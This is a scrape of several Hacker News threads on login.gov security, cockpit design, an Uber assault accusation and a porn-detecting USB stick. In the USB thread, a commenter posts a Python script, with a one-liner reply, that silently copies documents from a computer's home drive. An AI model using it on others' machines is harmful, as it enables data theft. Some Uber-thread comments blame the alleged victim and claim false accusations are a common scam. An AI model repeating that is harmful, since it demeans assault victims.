<comment><USER44> You can buy a digital keyring to show the code if you want, e.g. [https://www.nets.eu/dk-da/l%C3%B8sninger/nemid/nemid-til- pri...](https://www.nets.eu/dk-da/l%C3%B8sninger/nemid/nemid-til- private/n%C3%B8gleviser) \-- which has a limited lifetime battery; I don't check my account often enough so I'm not bothered with the paper card.

</comment></comment><comment><USER45> Singapore launched SingPass in the early 2000s. There was a breach a few years ago and they have since implemented 2FA.

It's really convenient, but scary at the same time.

</comment><comment><USER46> I'm getting "Oops, something went wrong" for nearly everything I do to create an account. Took two or three tries to get my password correctly set. Then I was given the prompt to add my phone number, but got another error and ended up signed out again. Definitely needs some work.

</comment><comment><USER47> Good to see where governments are going with tech. In Russia we've had similar tools available for a few years [https://pypi.python.org/pypi/esia- connector/0.1](https://pypi.python.org/pypi/esia-connector/0.1)

</comment><comment><USER48> Why is it that of all services I'm scared to actually register and log in to, this is at the top?

<comment><USER49> Maybe you don't have trust in the people that run the current government, just like a good portion of the American population do.

</comment></comment><comment><USER50> France has something similar called franceconnect: [https://franceconnect.gouv.fr](https://franceconnect.gouv.fr)

</comment><comment><USER51> Login Spec Here: [https://github.com/18F/identity- idp/blob/master/docs/encrypt...](https://github.com/18F/identity- idp/blob/master/docs/encryption-and-key-rotation.md)

Many aspects of this make no sense to me... so _IF_ this is actually what they are doing...

      hash(user, password) {
        salt = CS-PRNG(160bit)
        s = scrypt(salt, password)
        z1 = s[0:32]
        z2 = s[32:64]

        R = CS-PRNG(256bit)
        d = HSM(R) XOR (pad_right(z1, 0x00, 32 bytes))
        cek = SHA256(z2 || d)
        hash = SHA256(cek)
        save_record(user, d, salt, hash)
      }

First and foremost, if the HSM operation is to have any _meaning_ , it needs to be in the critical path for encrypting / decrypting data and possibly also calculating the password hash. If you don't need to go through the HSM to perform a decrypt or a hash validation, then obviously the HSM isn't actually securing anything! All it becomes is a source of entropy into the key derivation, but that's more likely to harm than help.

From their own specification;

"It is important to note that the HSM factor strengthens the model in a way different than the other two factors, which rely on keeping them secret. Because the HSM is tied to a physical object, brute force attacks on our database would need to happen in proximity to the HSM, i.e., within our AWS environment, which greatly reduces the attack surface. A bad actor with a copy of the database cannot apply their own computing power to brute force cracking of passwords."

But to be clear, if you have 'd', 'salt', and 'hash', you can brute force attack passwords as;

      s = scrypt(salt, password)
      h = SHA256(SHA256(s[32:64] || d))
      h =? hash

Now, if they were _not_ storing 'd' in the user record, you might think to store what they call 'R' in the user record. Then you would have to go through the HSM as part of each login to _derive_ the correct 'd' and 'cek' which is how it's _supposed to work_.

But even that design is still not good enough. You don't want to allow an attacker to pull 'R' from your database, send it through the HSM just once, and _then_ be able to start brute forcing the password forever from there on out. If you're going to pay for an HSM, and your going to call it for each password verification, then you better make sure an _attacker_ is also required to call the HSM for _each attempt_ at verifying a password. Which means you send your password hash (or something derived from it) through the HSM, not just a random 'R'!

Next, besides all of that, the design is horrific for end users. PII is encrypted with 'cek' above. That means if you lose your password, you lose your PII. Which means starting basically a new account from scratch! I can't endorse the idea that a password reset from an end user will effectively _wipe out_ their account information and make them start over.

The vast majority of users will be logging into this service _infrequently_. Combine this with a typically user hostile password policy, and the result is that a large percentage of users will be resetting their password every time they need to login. With this design, that means they have to _start over_ with validation through a third party... and guess who that third party is? Companies like _Equifax_ now responsible for the single largest PII breach in American history.

Now they've also added something like a recovery key which the user is supposed to _print out and save_ at the moment they create their account, and that key is used to separately encrypt all the PII. So if the user forgets their password but can find this magic piece of paper, they can enter this key (that'll be fun) as part of the password reset process and reset their password without effectively wiping their account. To think "Average Users" will succeed in doing this belies reality.

But wait... where is this magic key being saved on login.gov servers? If it was a private key they give to the user and they just keep the public key on their side that could work, but it's actually an uppercase 16 character alphanumeric token... 5.17 * 16 = 82 bits. Let's hope that's not literally the encryption key, but the alternative -- it's a token used to lookup the key in their database -- would completely defeat the purpose of encrypting the PII with a PBK in the first place?! And, even if it was the literal encryption key, when you change or update your PII, if they don't also keep it on their side, how would they update their secondary encrypted PII record?

<comment><USER52> > Let's hope that's not literally the encryption key, but the alternative -- > it's a token used to lookup the key in their database -- would completely > defeat the purpose of encrypting the PII with a PBK in the first place?! > And, even if it was the literal encryption key, when you change or update > your PII, if they don't also keep it on their side, how would they update > their secondary encrypted PII record?

Without having looked at the actual implementation, here's one option that could work: Upon account creation, the server generates a key pair and a random string - the recovery code. The server stores the public key and an encrypted version of the private key, with the encryption key being the recovery code. Any changes to PII can be encrypted using the public key. The server does not need to store the recovery code (which would beat the whole point of this exercise). Instead, it can simply attempt to decrypt the PII with the user-provided recovery code, and if it succeeds, the server knows the entered recovery code was valid.

<comment><USER51> This would indeed work! I'm still studying their code for handling the recovery key, but as of yet I haven't found any asymmetric encryption of PII.

It does look like they are using the recovery key as a second password, and running it through scrypt to verify it, but I haven't traced past that point yet, and Ruby is not my first, second, or 3rd language.

From what I can tell, they do the same key derivation process as with the primary password, but then also encrypt the secondary 'cek' with another key -- perhaps just HSM(R) -- so they can get back 'cek' without needing the token. But I'm not sure I'm reading it right because there are variables called things like 'encryption_key', 'encrypted_code', 'encryption_code', 'encrypted_key', 'encrypted_password', 'personal_code', 'raw_personal_code', 'code', 'hashed_code', ahhhh.....

If there's one good thing to say about all this, the fact it's open source and I can even look at it all, and open issues on GitHub against the US Government's code for authenticating citizens... well just that is pretty awesome.

</comment></comment></comment><comment><USER53> Does this mean I'll be able to regenerate my SSN?

</comment><comment><USER54> There's a lot of very positive comments about this, but I don't understand why anyone would want this?

It seems very big brother-ish to me.

</comment><comment><USER55> I would not trust our government to implement this safely, efficiently or well.

<comment><USER56> You don't have to trust them. Its open source

      https://github.com/18F/identity-idp

<comment><USER36> There's still a _lot_ of trust involved here...

</comment></comment></comment><comment><USER57> nice. SSO for govt. why not?

</comment><comment><USER58> > Also, security experts protect one service instead of many. Dedicated teams > of design and security experts also will continuously improve it.

I don't buy it.

</comment><comment><USER59> The Government equivalent of Equifax. YAY!</comment>


Ask YC: What streaming radio stations do you listen to while hacking? - <AUTHOR>

I am adding sort of a streaming radio ripper to my site, but different streams use different methods of the address for the stream, .m3u and .pls contain different data. I am looking to gather a bit of test data. So if you could let me know what is the address or the name of any stream you listen to. I'd be grateful. Thanks.
<comment><USER2> recently i've been listening to recordings of street noise from my walk to work. it seems to be helping me achieve flow faster. i get my best flow when walking to work, so i figure i'd try it. anyone else interested in trying out some of these recordings? i'll post them if there's interest in an experiment.

<comment><USER3> That's a cool idea. I'd be interested, although by the measure of where I have useful ideas, I should instead listen to a recording of a shower. A very calming form of white noise, although it could precipitate increased restroom usage.

I often get into the groove of the sonic landscapes at Quiet American's One Minute Vacations and wish for longer versions:

<http://www.quietamerican.org/vacation.html>

There is one link there to a streaming server that serves up a long-form field recording for your testing:

<http://18.104.22.168:8000/>

</comment></comment><comment><USER4> The stuff at SomaFM and dj dusty's Afternoon Nap help get me in the zone.

<http://somafm.com/>

<http://www.downtempo.org/>

</comment><comment><USER5> <http://www.pandora.com>

<http://www.last.fm>

I hope they merge eventually.

</comment><comment><AUTHOR> thanks all!</comment>


Brillo Common Kernel - <AUTHOR> https://android.googlesource.com/device/generic/brillo/+/master/docs/KernelDevelopmentGuide.md <comment><USER2> This seems pretty nice. It's annoying that so many Android kernels are quite old. Then again, all the cool new features are disabled on Android anyway. :/</comment>


Facebook will remove 5,000 ad targeting categories to limit discrimination - <AUTHOR> https://www.theverge.com/2018/8/21/17764480/facebook-ad-targeting-options-removal-housing-racial-discrimination <comment><USER2> It sounds like they are not removing the category but the ability to exclude members from those categories from any ad. This shows that they didn't trust real-estate agents to declare their ads as related to housing. I'm wondering if that means that they don't expect to be able to target ads on political topics, and maintain the requirements on proving your identity.

</comment><comment><USER3> This doesn't seem like it's really addressing the core problem which is that Facebook is wholly responsible for the ads on their platform but getting away with having little to no human involvement in vetting them. Somehow they've convinced legislators that if advertisers don't have the ability to target specific demographics and they have a ToS that asks advertisers to pretty please not discriminate then Facebook is not-in-theory-but-in-practice absolved of their liability and can remove discriminatory ads ex post facto.

Now look, I sympathize with Facebook here because above a certain scale it becomes impossible to police just about any community and advertisers are really no exception but I don't think the takeaway should be to change the rules just because some process doesn't scale, surely there has to be some middle ground.

</comment><comment><USER4> Isn't discrimination the point of Facebook targeting? They could easily throw a warning if the set you are hitting is out of protected class ratios for the geographic neighborhoods and you could randomly sample around them to fix bias.</comment>


How the design of a WWII plane led to the concept of user friendliness (2019) - <AUTHOR> https://www.wired.com/story/how-dumb-design-wwii-plane-led-macintosh/ <comment><USER2> There's a similar story with warning horns on aircraft. I think the first warning horn added was a stall warning. It worked great. So they added more horns with different sounds, one after another.

Eventually, it turns out that pilots got confused as to which horn meant what. Something had to be done! The solution was ridiculously obvious - the horn sounds were speech saying what is wrong, like "stall! stall!" instead of "toot! toot!".

I think about that whenever I deal with a piece of machinery that emits random beeps to warn me about something. Like my car. Really, how hard is it to say "ya left ya lights on, ya fakking slagger!" so I would know what to do. At least my navigator says "recalculating" when I screw up, although I prefer "ya shoulda turned back yonder, ya witless wanker!"

Though I do wonder why they never put me in charge of the warning horn design.

<comment><USER3> A similar confusion may be audible in any McDonalds. Their kitchens have many alerts and alarms, and many of them use the same tone. Get a beverage, stand with a view behind the counter toward the kitchen, wait, and listen.

<comment><USER2> Back in the 80's people would make intelligible speech simply by connecting a speaker to a 5V 1-bit I/O port. So there's no excuse from a cost standpoint.

</comment></comment></comment><comment><USER4> pfft.

The concept of "user friendliness" dates back a lot longer in ww2. During the industrial revolution industry went on a binge of making things more "user friendly" because it reduced human error and reduced downtime spent fixing machines and hosing former workers out of them. This is why, for example, on a lathe you traditionally have different shaped Z and X handles. It prevents you from crashing the machine by having your hand on the wrong handle when you go to make a rough adjustment.

A bored journalist could write the same article about user friendliness in the early industrial workplace, it would just be harder because there's no one big story to base your article around and the sources are harder to find.

<comment><USER5> Yeah - the article is well written, but junk and full of hyperbole like:

"He saw, instead, the impossibility of flying these planes at all." Really! B-17's completed hundreds of thousands of missions.

And pilots still land modern planes "wheels up", so modern UI design has not eliminated the problem.

<comment><USER6> To be fair, the few times I've sat in the cockpit of a plane I've said to myself "good lord, one person has to keep on top of all these dials and controls" \- six dials in a glider that doesn't even have an engine? Fifteen in a small plane for non-professional pilots? To say nothing of the cockpits of commercial airliners and fighter jets.

And presumably every one of those dials corresponds to something important the pilot has to be monitoring and controlling.

There aren't many vehicles with an interface that complex.

<comment><USER7> I think you're looking at it the wrong way, the actual flight controls are pretty rudimentary and simple to understand. The dials represent information and tools available to the pilot should they need them. They're all pretty simple taken in isolation, and they usually have configurable warning states, so you don't need to watch them like a hawk.

Also, you can halve the count in most cockpits, as they'll be redundancy duplicates or co-pilot duplicates. Cognitive load during flight is pretty low, too, so plenty of time to keep an eye on things. Landings and take offs are prepared for with plenty of time ahead (at least they should be) so again, plenty of time to check and configure.

</comment></comment></comment></comment><comment><USER8> >By law, that ingenious bit of design—known as shape coding—still governs landing gear and wing flaps in every airplane today. And the underlying idea is all around you: It's why the buttons on your videogame controller are differently shaped, with subtle texture differences so you can tell which is which.

I'm not aware of any major controller that has done this outside of the GameCube controller.

[https://en.wikipedia.org/wiki/GameCube_controller](https://en.wikipedia.org/wiki/GameCube_controller)

<comment><USER9> Xbox controllers have large buttons, small buttons, joysticks, a D-pad, and two different triggers on the back.

The A/B/X/Y aren't distinguished between each other, but I suspect the four throttles for a B-17 aren't either.

<comment><USER10> > The A/B/X/Y aren't distinguished between each other

Sure they are - their layout is distinct and doesn't alighn with any other buttons on the controller. It's very easy to distinguish which one you are hitting even though their shape and size are identical.

<comment><USER11> The Gamecube controller did it better, I think. Each button was a unique size, shape and colour.

</comment></comment></comment></comment><comment><USER12> _It's why the dials and knobs in your car are all slightly different, depending on what they do._

This has become a real problem with newer cars where everything has been replaced by a touchscreen.

<comment><USER13> Touchscreens have their place but not to replace controls you can activate by feel alone and access with less distraction.

<comment><USER14> This.

Even to the point that I swear people designing cars don't factor in 100% tactile any more.

For example my Skoda has a full 360 degree knob for changing aircon vent position with no detents. There is literally no way of changing from defog to face without looking down and adjusting.

My Mazda on the other hand is more mechanical which may at first seem "clunkier", but it has stops on either end for face (fat counter clockwise) and defog (full clockwise) so you can instantly choose the most common settings. The in-between settings have large and small detents as you cycle through so I can go 50% feet, 50% defog by going hard right then one click back without looking.

<comment><USER15> What is this phenomenon where garbage proliferates?

<comment><USER16> Don't worry, the Skoda is widely considered to be a failure.

Sorry, couldn't resist

</comment></comment></comment></comment></comment><comment><USER13> Paul Fitts mentioned in the article came up with Fitts' Law to describe selection difficulty as a relationship between target size and distance [https://en.wikipedia.org/wiki/Fitts%27s_law](https://en.wikipedia.org/wiki/Fitts%27s_law)

While reading I had a feeling Fitts was well known for something!

</comment><comment><USER17> "The reason why all those pilots were crashing when their B-17s were easing into a landing was that the flaps and landing gear controls looked exactly the same. The pilots were simply reaching for the landing gear, thinking they were ready to land. And instead, they were pulling the wing flaps, slowing their descent, and driving their planes into the ground with the landing gear still tucked in."

<comment><USER18> +"*ç% automatic cars, with their brake pedal extended to where the clutch ought to be...

</comment></comment><comment><USER19> This is a perennial problem in aviation. One of my favorite examples relates to flaws in our assumptions about anthropometrics: [https://www.thestar.com/news/insight/2016/01/16/when-us- air-...](https://www.thestar.com/news/insight/2016/01/16/when-us-air-force- discovered-the-flaw-of-averages.html)

<comment><USER20> While that article shows how too little configuration towards the individual user leads to problems, there is a balance to find. In the software world, we are often facing the opposite problem: Being overwhelmed by too many configuration parameters, ironically leading to the same outcome because the user is unable to configure the system at all. This is especially frustrating when many of those parameters are not even adjusting the software to the individual but are arbitrary free parameters like "in which folder do you want the software to place its internal data files", or are about adjusting one piece of software to another so they work together -- problems that should be solved by the manufacturer without needing user input.

On an orthogonal note, I smiled when I read this paragraph about excuses from the manufacturers:

> When airplane manufacturers first heard this new mandate, they balked, > insisting it would be too expensive and take years to solve the relevant > engineering problems. But the military refused to budge, and then — to > everyone's surprise — aeronautical engineers rather quickly came up with > solutions that were both cheap and easy to implement. They designed > adjustable seats, technology now standard in all automobiles. They created > adjustable foot pedals. They developed adjustable helmet straps and flight > suits.

</comment></comment><comment><USER21> > some of the most advanced computers ever made now come with only cursory > instructions that say little more than "turn it on." This is one of the > great achievements of the last century of technological progress.

Also the greatest contribution towards reduced curiosity, inquisitiveness, and the hacker ethos.

</comment><comment><USER22> >Fortress rolled off the drawing board and onto the runway in a mere 12 months

Now that's something you don't see these days! I wonder what has slowed development so much, is it more complexity? It seems like a B-17 would be considered extremely complex in 1940.

<comment><USER23> by 1940 it was already 4 years old :P in terms of development i assume this refers to the field of aircraft design, and i think it might not be obvious at first how dizzyingly complex modern aircraft can get. aerodynamics is already a complicated thing, but then you have to design around stealthiness. since your goal is both, physically operating such a vehicle would be almost impossible because of instability issues, so you now have to design software that will smooth out the aircraft as it flies, while still allowing the pilot to do exactly what they want, when they need to. now you have to find parts that will allow all of that to come together - powerplant, materials, etc - for example, even the _paint_ for stealth aircraft had to be developed to help reduce radar signature, etc etc etc

</comment></comment><comment><USER24> Thankfully, the interface designers for cars and planes don't break into your garage/hangar in the middle of the night and move the controls around, change their colour and shape, or rearrange the entire control panel without giving you any warning or choice. App and web designers are quite keen on doing this. Imagine if a Boeing pilot stepped into the cockpit one day and found it had suddenly been reconfigured to look like an Airbus. Apps like MS Office have orders-of-magnitude more users than airliners, and yet they don't bat an eyelid when suddenly moving everyday functions to different parts of the screen.

</comment><comment><USER25> Read: [https://humanisticsystems.com/2018/02/25/human-factors- and-e...](https://humanisticsystems.com/2018/02/25/human-factors-and- ergonomics-looking-back-to-look-forward/)

If you wanted more on HOW they fixed the bomber. That part was fascinating.

</comment><comment><USER26> I don't know where to find this on the web, but I saved this favorite story about why the MD-11 was such an ill-fated plane. Now re-reading it, brings to mind the 737 MAX, no?

\</comment><comment>-----

 _The MD-11 had a whole range of issues that added up to a poor design._

McDD did the development of the MD-11 on the cheap, led by their illustrious leader HS who did everything for minimum cost. It really needed a clean sheet design wing rather than just adapting the DC-10 one (which had never been got right in the first place and had excessive drag). But the money was not provided to do this.

Madcap idea was to reduce the size of the horizontal stabiliser (the "tail") compared to the DC-10 (despite the greater size), to reduce its drag. That makes it more difficult to control. To then overcome this a computer called the Longitudinal Stability Augmentation System was devised. We're speaking about 25-30 year old computer technology here. This was meant to enhance the way the tailplane worked. Another was that MD-11 pilots were to receive "additional training", that euphemism for handling something difficult and not intuitive.

Various outcomes ensued, particularly on landing. One is the MD-11 got the universal nickname of "The Scud" in the pilot world because "you never know where it's going to land" (remember the MD-11 came into service at the time of the first Gulf War). Hence the "additional training" which concentrates on landing aspects. The second was its propensity to then drag a wing in landings that became unstable. This revealed a further poor (and cheap) piece of wing design, as the wing will tend to break at the attachment, which then leads to the aircraft cartwheeling on touchdown. For a type where only 200 were built, the number which have been destroyed in these cartwheeling accidents (which have never once happened to their Boeing or Airbus rivals) is just unacceptable.

Now the MD-11 had other poor aspects. It didn't meet its performance guarantees, which allowed a number who ordered it to walk away from it. The Pratt & Whitney engined version in particular were unreliable. But more than anything else Boeing came up with an aircraft of remarkably similar size which used just two engines, not three, and yet delivered not only equal performance but everything the MD-11 had claimed to do but didn't. Boeing spent the R&D money on the 777, and got their return.

The worth of the MD-11 didn't quite fall to scrap value, however, as the three-engined approach made it suitable for those who move high weight a medium distance - the cargo airlines. And so FedEx, UPS, and some others would pay reasonable secondhand prices for them.

The original buyers thus sold them off, and bought 777s instead. Yes, there were a range of reasons. But in the background, quietly, the Chief Pilot is telling the Chairman of the Board "that thing is an accident waiting to happen for us". As, I regret to say, the cargo airlines continue to find out. I suspect the airline's insurers had something to say as well.

McDD just didn't get their Return on Investment, and the same thing happened with the MD90 and MD95, two more adaptations done on the cheap. Out of cash, they had to be absorbed by Boeing, and their vast assembly plant area in Long Beach is now condos and shopping malls. The most extraordinary part about this is that HS got himself accepted and pushed up to the very top of the Boeing hierarchy, where his extreme cost cutting some years ago did the same again - this time going for a real all-whiz new design, new materials, plus all subcontracted out (to the low bidder of course) rather than use the traditional workforce, etc,etc. Everything different, all at once. Roll on several years from his time there, and we all know what's happened to that new Boeing type, don't we ...... ?

As was said 20-30 years ago : "The best aircraft would be - designed by Lockheed, built by Boeing, sales & markeing team from McDonnell Douglas". Notable which of the three skills eventually came out on top.

<comment><USER27> I read something similar in connection with the 737MAX saga; when Boeing bought McDD the McDD bean counter MBA management culture took over, with catastrophic results.

</comment></comment><comment><USER28> TL;DR: It didn't. Some guy realized customizing pilot cockpits would save lives. User Friendliness was thus discovered.

<comment><USER29> The connection is not tenuous.

Basically as you say planes were designed to be user friendly --vs insisting on the user/pilot becoming an expert. New recruits were given comparatively little training before going on missions. That same viewpoint was implemented in Macs where the computer accommodated the user rather than have a new user get to know arcane systems.</comment></comment>


Is This a Robot or Human? [video] - <AUTHOR> http://mashable.com/2011/03/04/lifelike-robot/

<comment><USER2> Seems like physical robots are now entering the so-called "uncanny valley" reached years ago by special effects and video game artists: the thing _looks_ real, but as soon as it starts to move, the deepest recesses of our subconscious at once alert us that it is, in fact, nothing more than a futile and imperfect facsimile of life.

That said, the suggestion that this could be a real human acting as a robot is _definitely_ plausible. And that, on its own, is a remarkable accomplishment, really.</comment>


Uber driver charged with raping woman in D.C. - <AUTHOR> http://www.washingtonpost.com/local/uber-driver-charged-with-raping-woman-in-dc/2013/03/14/2bbf4c8e-8cb0-11e2-9838-d62f083ba93f_story.html

<comment><USER2> At least one critic of the company warned exactly about this a long while ago:

 _"Laws don't exist merely to frustrate the business ambitions of coastal hipsters: They also exist to protect the more vulnerable members of society. Back home in London (where such statistics are available), 11 women a month are attacked in unlicensed cabs, and unlicensed drivers are responsible for a horrifying 80 percent of all stranger rapes. If Uber doesn't have to follow licensing laws, then neither does any Tom, Dick, or Harry who chooses to paint the word 'TAXI' on the side of his car, and start offering rides via the Internet. A disruptive CEO will shrug (and there's a foreshadowing word) and insist that it's not his fault that such criminals exist."_ [1]

It appears this critic was right.

\--

[1] <http://pandodaily.com/2012/10/24/travis-shrugged/>

\--

Edit: added "It appears," which more accurately conveys my position.

<comment><USER3> It's not clear to me how government licensing would prevent an already illegal rape.

<comment><USER4> Tracking, people are far less likely to commit crimes if they need to be identified beforehand.

Background checking, while far from foolproof it's both a deterrent and a preventative measure.

Higher barriers to entry, if it takes significant amounts of effort and money to be able to drive a cab then people are both less likely to risk it and going to try something else to have their 'fun'.

<comment><USER5> Uber drivers are already identified beforehand, have to go through background checks, and, as we've learned in the article, are suspended if they are even accused of a crime. They are also tracked by GPS and probably cam, and probably will soon be tracked via other means as well (driver's door opening, etc.)

</comment></comment></comment></comment><comment><USER6> I don't really appreciate the fact that the suspect is named publicly, but the victim is not. It should be either neither, or both, preferably the former. Every time I see an article about rape, there are hints of bias to full on convictions in the court of public opinion. Innocent until proven guilty!

Uber probably has GPS data for the Driver's phone. Did he linger at the destination long enough for a rape to occur? Or did he immediately begin traveling towards his next fare?

There's a character witness for the driver, but what about for the woman? After all, she was just kicked out of a bar...

What is the status of her injury?

There's just not enough information here for this to justify as news quite yet.

<comment><USER7> > After all, she was just kicked out of a bar...

What difference does this make?

<comment><USER8> None at all, unless you make a habit of victim blaming.

<comment><USER9> Not to diminish what is going on but at this point all we have is heresy, we don't know what actually happened. She could have been drunk enough that she thought it happened when it didn't (knew a few people like that, men and women in college), or she could have a history of making accusations (rape or not). It is also equally likely that something did happen to her and that her accusations are accurate and something should be done (prosecution). At this point we must wait until at least a judge has heard the case and if there is any kind of prosecution going forward. Only then can we even begin to form any kind of cogent opinion on the matter given all the variables and unanswered questions.

<comment><USER10> >Not to diminish what is going on but at this point all we have is heresy, we don't know what actually happened

It is only ever sexual assault cases where this many calls for skepticism -as to whether a crime even happened- are made.

<comment><USER9> Personally I do it for every case. I see it happen for murder trials, sexual abuse cases, everything in the media where the presumption is that the person is guilty and it's just a question of how much. Right now what's been reported does look fairly damning but the evidence itself hasn't been shown to the public or a jury yet. The only way for someone to be presumed innocent until proven guilty is to be skeptical of everything.

<comment><USER8> It's not a question of guilty/innocent; it's the question of "well she was so drunk she got kicked out of the bar, so how could it have been rape" being _absolute bullshit_.

</comment></comment></comment></comment></comment></comment></comment><comment><USER11> Why is Über even mentioned? How about some details on the manufacturer of the seat the driver was sitting on, maybe what barber he usues too? Regardless, this is tragic if true, and my heart goes out.

<comment><USER12> It's relevant. Uber are creating a network of unregulated cabs, and people have been voicing concerns over the consequences of that. It can happen with a regulated cab too, but it's probably a little more sensitive given that there are no regulations at all.

These concerns are not mine, and I'm not taking a position for or against Uber, I'm just pointing this out.

<comment><USER13> They still employ specially licensed driver just like cab companies. The regulations they don't have to deal with are things like availability and rate laws iirc.

</comment></comment></comment><comment><USER14> Hope they release the results of the DNA matching. Innocent until proven guilty.

</comment><comment><USER15> Despite what the headline on HN says, the article states in the very first sentence that he was _not_ charged with anything, and released:

 _"District prosecutors on Thursday said they will not charge a limo driver who city police had arrested and accused of raping a 20-year-old customer outside her home in December."_

Edit: Looks like the news article used to have that same headline; it's still what the page title says. Apparently, the police got it wrong in their press conference:

 _"Bill Miller, a spokesman for the U.S. attorney's office, told The Washington Post that the office was not charging Anouar Habib Trabelsi, even as a top D.C. police commander was holding a news conference outside police headquarters announcing the criminal charge."_

</comment><comment><USER16> Yikes. Anyone know how a startup protects themselves from liability in this kind of situation?

<comment><USER8> Given the driver was not employed by Uber, but employed by a limo company that uses Uber's technology...

<comment><USER17> "Craigslist rapists" aren't employees of Craigslist either, yet there's still the negative stigma.

</comment></comment></comment><comment><USER18> Rape accusations, true or not, always end destroying the accused, specially because there are low penalties for false accusations, and the media is very fast in plastering the person name and photo everywhere.

Also, being a driver is kinda dangerous regarding that, I have some driver friends, and they all have the same rule: They don't pick up lone women, period, it might be raining, hurricane, dust storm, middle of the night, day, whatever, if she is a woman, and alone, they don't pick up them, ever.

It is because here in Brazil at least, is a very common scam to a women accuse a driver (be him professional, like a cabbie or Uber-like driver, or a volunteer that wants to help a hitchhiker) of rape, or make threats to accuse him unless he pays her something.

On this case in particular, I think the best is wait for what a judge and evidence has to say.

<comment><USER7> It says she paid her fare. What other motive could she have had to make this accusation?

Unfortunately, there is little evidence to go on at this point aside from her testimony, so much of this discussion is mere speculation.

<comment><USER19> It is an uber. The fare is automatically paid with or without her.

<comment><USER7> Ah, my mistake.

</comment></comment></comment></comment><comment><USER20> How in the world is this an "Uber" driver... Doesn't he work for a company that's using Uber? Find this a bit of a sensationalized smear on the service to associate him so closely with it.

<comment><USER21> Uber approved him as a driver, he receives clients through Uber, he receives payments through Uber...</comment></comment>


Run and Share Python Online - <AUTHOR> http://www.pystub.com

<comment><USER2> Really cool! I love that I just imported requests and actually can get web content.

Even works on iPad although the keyboard seems to disappear irretrievably on occasion.

The auto run feature seems like it might increase your load a lot while often only resulting in errors if someone is in the middle of typing a line of code. Have you considered a "push to run" option?

</comment><comment><AUTHOR> Hi, My name is Skip and I made this as well as swiftstub.com. All python code is run in it's own new container which is then destroyed immediately.</comment>


Show HN: SnapSlack – Send disappearing messages in Slack - <AUTHOR> https://snapslack.co/ <comment><AUTHOR> Hi there!

We built SnapSlack as part of a hackathon @eFounders, it's a fun side project that will allow you to troll your teammates without leaving any trace :p We're looking forward to open-sourcing the whole project when we'll reach 300 signups ;) The frontend is built using the (amazing!) zeit now.sh stack (Next.js is AWESOME). The backend uses Meteor alongside Firebase.

Best,</comment>


For crisp edges, use anything but crispEdges - <AUTHOR> http://coderwall.com/p/ufldzw

<comment><USER2> Interesting.

If I'm reading this right, the result shouldn't be surprising (though maybe inappropriately named?). Consider:

      {shape-rendering: crisp-edges;}
      Indicates that the user agent should attempt to emphasize the contrast between clean edges of artwork over rendering speed and geometric precision. To achieve crisp edges, the user agent might turn off anti-aliasing for all lines or possibly just for straight lines which are close to vertical or horizontal. Also, the user agent might adjust line positions and line widths to align edges with device pixels.

Would a circle not be a graphic you'd want to be geometrically precise, making {shape-rendering: geometric-precision;} the most appropriate choice?

<comment><AUTHOR> Absolutely. And maybe the edges in my first picture are crisper. I guess it's all a matter of how you look at it.

But I found the names a little counter-intuitive.

</comment></comment><comment><USER3> The crispEdges circle doesn't look good – but it's certainly not "blurry".

<comment><AUTHOR> Touché. It's just a mess. Thanks for putting that out, I'll update the tip.</comment></comment>


The $100 USB Stick Your Boss Can Use To Find Your Porn - <AUTHOR> http://blogs.forbes.com/marcwebertobias/2011/04/07/the-100-usb-stick-your-boss-can-use-to-find-your-porn/ <comment><USER2> I can add "thought police is okay, pornography is a menace" to my long list of reasons not to click on Forbes articles.

Frankly, I'm proud to run a workplace where I officially don't give a damn what people keep on their computers. I pay them for results, not control of their erotic minds. If someone is horny, they should go rub one out. Then get back to work calmer and better able to concentrate.

Just don't forget to wash your hands.

<comment><USER3> So you're OK with your employees using corporate resources for child pornography?

Edit: I do computer forensics and ediscovery for a living. I'm not trolling. That was just one of many things that you really don't want your employees storing on your computers if you don't want someone like me, or worse, the LE version of me, showing up at your site.

<comment><USER4> "I don't give a damn what people keep on their computers" in no way implies "I'm fine with them breaking the law". You're trolling.

<comment><USER3> No, I was determining the limits, pointing out that he does care, and that there are many things he would object to finding on those computers.

Churchill: Madam, would you sleep with me for five million pounds? Woman: My goodness, Mr. Churchill… Well, I suppose… we would have to discuss terms, of course… Churchill: Would you sleep with me for five pounds? Woman: Mr. Churchill, what kind of woman do you think I am?! Churchill: Madam, we've already established that. Now we are haggling about the price.

</comment></comment></comment></comment><comment><USER5> It would be great to walk up to any computer, plug in a usb stick, have it automatically copy the porn so I could review it later at my leisure.

</comment><comment><USER6>
         #!/usr/bin/python

         import os,shutil
         exts = [".txt",".doc",".docx",".xls",".xlsx",".ppt",".pptx"]

         startpath = os.environ['HOMEDRIVE']

         def find(none, directory, filenames):
             for file in filenames:
                 for ext in exts:
                     if file.endswith(ext):
                         fullfile = os.path.join(directory,file)
                         try:
                             shutil.copy(fullfile,file)
                         except IOError:
                             pass # access denied
         os.path.walk(startpath,find, None)

This was on the Hak5 forums when the U3 drives were popular. It can be used to search for file extensions and copy the ones that match those specified. It is easily fooled, but you could add the ability to look for headers in binary data, thread it, ect. R.I.P unpersons.org

<comment><USER7> I'm not seeing where it copies the file TO, but assuming you have a dump directory /dump, is that the same, more or less, as:

        zsh -c 'cp $HOMEDRIVE/**/*.{txt,{doc,xls,ppt}{,x}} /dump'

    ?

</comment></comment><comment><USER8> "porn detection stick"? Most men already have one of those.

</comment><comment><USER9> I need one of these to recover my own porn!

</comment><comment><USER10> I'd love a copy of the software. I'd be interested to see if it works in Linux, and if so, what it can find and particularly what it would find on my system.

If you were in Linux and were looking at porn and wanted to check all of the places you could think of off the top of your head... what sort of places would you look for thumbnails, caches, etc. Kinda curious about this now...

<comment><USER11> There are two common approaches that forensics tools use: 1) It could be scanning the file system and looking for all files (both present on the drive and deleted), which have an image extension on the filename (.jpg, .gif, etc). The advantage of this approach is speed. 2) It could be going through looking at the raw data on the hard drive, and search byte-by-byte for the magic headers at the start of every image file. For example all GIF files start with GIF87a or GIF89a. This approach takes much longer, but would find all files (possibly even ones deleted years ago, well before the current OS install), and works irrespective of which operating systems are installed.

Given the screenshot, I'm guessing it takes the first approach.

EDIT: There are open source tools for Linux which take the second approach... Probably the best is called Foremost.

<comment><USER7> I may have misread, but wasn't the "clever bit" the part that tried to detect if an image was pornographic? (As opposed to just being an image.)

I suppose it could look for fleshtone colors or something; perhaps over a certain % of total, or if the fleshtoned pixels are "bunched up" in certain blobs of areas or something.

<comment><USER11> Yep, that's pretty much how they work. I can't find the details of it now, but the "smart" ones also do some colour transformations on the image so detection will work irrespective of what race the people in the porn are.

</comment></comment></comment></comment><comment><USER12> So... a USB stick that can find pornographic _images_. On your _hard drive_.

